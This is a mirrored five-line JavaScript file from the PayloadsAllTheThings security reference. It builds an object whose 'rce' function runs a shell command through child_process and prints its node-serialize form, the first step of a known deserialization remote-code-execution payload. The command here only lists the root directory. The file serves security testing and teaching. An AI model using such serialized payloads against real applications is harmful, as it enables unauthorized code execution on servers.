mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
synced 2024-12-21 03:46:10 +00:00
5 lines
228 B
JavaScript
5 lines
228 B
JavaScript
|
var y = {
|
||
|
rce : function(){require('child_process').exec('ls /', function(error,stdout, stderr) { console.log(stdout) });},
|
||
|
}
|
||
|
var serialize = require('node-serialize');
|
||
|
console.log("Serialized: \n" + serialize.serialize(y));
|